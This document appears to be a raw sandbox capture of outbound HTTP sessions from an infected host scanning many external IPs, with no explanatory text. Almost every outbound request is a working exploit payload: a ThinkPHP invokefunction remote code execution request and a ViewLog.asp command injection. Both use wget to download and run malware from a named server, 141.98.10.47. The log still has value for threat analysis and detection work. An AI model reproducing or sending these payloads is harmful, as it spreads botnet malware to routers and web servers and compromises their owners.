Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.23	33754	112.168.100.148	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:13.231118917 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:13.558859110 CET	404	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:13 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.23	52356	31.40.216.90	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:13.525863886 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:14.750224113 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.23	50878	31.200.57.239	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:13.557913065 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.23	33732	94.121.20.231	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:13.875181913 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.23	49612	94.123.249.218	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:13.875370026 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.23	52976	94.120.233.249	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:13.877701998 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.23	50642	95.86.70.77	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:13.887350082 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.23	52430	31.40.216.90	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:15.006124973 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.23	37792	88.210.102.98	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:15.911850929 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:16.264880896 CET	421	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:16 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.23	59808	88.138.5.203	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:16.808617115 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:19.837449074 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:25.980600119 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:38.010900974 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:02.839380026 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:51.984489918 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.23	37310	88.208.28.186	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:16.809664965 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:17.548655033 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:17.785054922 CET	296	IN	HTTP/1.1 200 OK Date: Tue, 26 Dec 2023 20:20:11 GMT Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1f PHP/5.5.18 X-Powered-By: PHP/5.5.18 Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 20 Connection: close Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2023 21:23:21.470158100 CET	296	IN	HTTP/1.1 200 OK Date: Tue, 26 Dec 2023 20:20:11 GMT Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1f PHP/5.5.18 X-Powered-By: PHP/5.5.18 Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 20 Connection: close Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.23	48504	94.189.199.218	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:17.076634884 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.23	47240	94.122.8.163	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:17.356306076 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.23	39502	94.121.144.177	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:17.628516912 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.23	60250	31.54.45.187	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:19.171008110 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:19.406757116 CET	476	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Dec 2023 20:23:18 GMT Server: Webs X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Cache-Control: no-store Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.23	53840	94.123.79.162	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:19.211257935 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.23	51984	112.169.252.37	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:20.418958902 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:20.742861986 CET	270	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 113 Connection: close Date: Tue, 26 Dec 2023 20:23:19 GMT Server: httpd Data Raw: 3c 68 74 6d 6c 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.23	42582	95.46.32.38	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:20.681518078 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:22.045267105 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:22.306070089 CET	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Tue, 26 Dec 2023 20:25:57 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.23	44630	95.66.173.225	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:20.694698095 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:20.971144915 CET	105	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain Content-Length: 55 Connection: close
Dec 26, 2023 21:23:20.971190929 CET	67	IN	Data Raw: 45 72 72 6f 72 20 34 30 30 3a 20 42 61 64 20 52 65 71 75 65 73 74 0a 43 61 6e 6e 6f 74 20 70 61 72 73 65 20 48 54 54 50 20 72 65 71 75 65 73 74 3a 20 5b 47 45 54 5d Data Ascii: Error 400: Bad RequestCannot parse HTTP request: [GET]

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.23	49946	95.100.13.184	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:22.117801905 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:22.570101023 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:23:22 GMT Date: Tue, 26 Dec 2023 20:23:22 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 37 37 32 32 63 33 31 26 23 34 36 3b 31 37 30 33 36 32 32 32 30 32 26 23 34 36 3b 33 63 39 38 63 31 37 34 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.67722c31.1703622202.3c98c174</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.23	55192	62.122.189.44	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:22.762526035 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
